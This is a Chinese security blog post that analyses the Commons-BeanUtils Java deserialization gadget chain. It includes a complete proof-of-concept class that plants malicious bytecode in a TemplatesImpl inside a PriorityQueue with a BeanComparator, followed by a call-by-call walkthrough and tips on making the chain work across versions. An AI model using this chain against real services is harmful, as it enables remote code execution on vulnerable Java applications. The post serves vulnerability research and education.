Commons-BeanUtils
BeanUtils底层是使用内省完成的(内省的底层是使用反射完成的)
sun公司提供了内省(Introspector)的API,Apache去进行使用
访问javabean属性的两种方式:
1、直接调用setXXX或者getXXX方法;
2、通过内省(内省是BenaUtils的底层实现原理)其实就是BeanUtils工具包进行实现
-
通过Introspector类获得Bean对象的BenaInfo==
-
然后通过BeanInfo来获取属性描述器(PropertyDescriptor)==
-
通过属性描述器(PropertyDescriptor)就可以取得某个属性对应的getter和settter方法
-
最后通过反射技术来调用方法
核心API
Introspector提供了一系列的getBeanInfo 方法,可以拿到一个JavaBean的所有核心信息。
通过BeanInfo的getPropertyDescriptors和getMethodDescription方法可以拿到JavaBean的字段信息列表和getter和setter的方法列表。
PropertyDescriptors 可以根据字段直接获得该字段的 getter 和 setter 方法。
MethodDescriptors 可以获得方法的元信息,比如方法名,参数个数,参数字段类型等。
PropertyDescriptor类表示JavaBean类通过存储器导出一个属性。主要方法:
-
getPropertyType(),获得属性的Class对象;
-
getReadMethod(),获得用于读取属性值的方法;getWriteMethod(),获得用于写入属性值的方法;
-
hashCode(),获取对象的哈希值;
-
setReadMethod(Method readMethod),设置用于读取属性值的方法;
-
setWriteMethod(Method writeMethod),设置用于写入属性值的方法。
原理分析
package CB;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CBChain {
public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException {
// CC3
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"test");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("E://Study//JAVA_SEC//target//classes//Test.class"));
// bytecodes是一个二维数组,实际上内部会将其转换为一个一维数组
// 所以我们直接把代码放在一个一维数组中,使用bytecodes这个二维数组包裹一下即可
byte[][] bytes={code};
bytecodesField.set(templates,bytes);
// CB
// 注意这里的outputProperties的o小写,因为它会PropertyUtils.getProperty方法底层被转换为getOutputProperties并调用
BeanComparator beanComparator=new BeanComparator("outputProperties",new AttrCompare());
// CC2
TransformingComparator comparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>(comparator);
// 这里第一个add必须是templates,第二个随意
priorityQueue.add(templates);
priorityQueue.add(1);
// 注意这里
Class c=priorityQueue.getClass();
Field factoryField=c.getDeclaredField("comparator");
factoryField.setAccessible(true);
// 修改链
factoryField.set(priorityQueue,beanComparator);
serialize(priorityQueue);
unserialize();
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj=ois.readObject();
return obj;
}
}
反序列化对象是一个 PriorityQueue 类实例对象,由于 PriorityQueue 类重写了 readObject 方法,所以反序列化入口发生变化,直接定位到 readObject 方法。
前面这些都是无关紧要的,注意这里的 heapify 方法调用,我们跟进去审计
继续跟进 siftDown 这个方法。
继续跟进 siftDownUsingComparator 方法
在这个方法中会调用成员变量 comparator 的 compare 方法,阅读POC查看此时的成员变量 comparator 值是什么
阅读POC代码得知,在该对象序列化的最后一刻,通过反射将其成员变量 comparator 修改为了 BeanComparator 类的实例对象,所以此处调用 compare 方法实际上会调用到 BeanComparator 类的 compare 方法.
注意这里的两个 PropertyUtils.getProperty 方法调用,o1、o2是传入的参数不管,不过后面的 this.property 来源不明,所以我们先追踪一下它的来源。
结合POC发现,此处的 this.property 是字符串 outputProperties 。继续审计,这里的 this.property 不为空所以我们来到第一个 PropertyUtils.getProperty 方法调用,此时的 o1 实际上就我们的templates对象( TemplatesImpl 类实例对象)
所以此时相对于调用的是 PropertyUtils.getProperty(templates,"outputProperties"); ,又因为 PropertyUtils.getProperty 这个方法底层实现实际上就是将我们要获取的属性首字母转为大写,然后前面添加get调用对象的该方法(getXxxx),因为 PropertyUtils 这个类是用于 bean 的,在 bean 的规范中获取对象的属性是这样的,所以我们来到 TemplatesImpl 类的 getOutputProperties 方法,因为 PropertyUtils.getProperty 内部会调用。
在 TemplatesImpl 类的 getOutputProperties 方法中会调用 TemplatesImpl 类的 newTransformer 方法,继续跟踪
可以发现在 TemplatesImpl 类的 newTransformer 方法中调用了 getTransletInstance 方法,该方法在前面的CC链中以及分析过了,会导致加载我们恶意的字节码文件,自此整个CB链也就完了。
最终效果图
关于BeanComparator的参数2(comparator)
这里创建 BeanComparator 实例对象的时候参数2这个 comparator 参数可以填写 null ,因为整个CB链并没有用到它。
不过有时候可能出现报错用不了,这时候就需要将这个参数改为 new AttrCompare() 。因为有些版本中的 BeanComparator 构造函数会判断传入的 comparator 是否为 null 。这种情况我们就需要找到既实现了 Comparator 接口,又实现了 Serializable 接口的类,并常见作为参数传入,而 AttrCompare 就是这这样的类。
这种类很多,我们可以分别找实现了 Comparator 接口、 Serializable 接口的类,然后取它们的交集即可。
原文始发于微信公众号(安全之道):Java Deserialization CB链分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论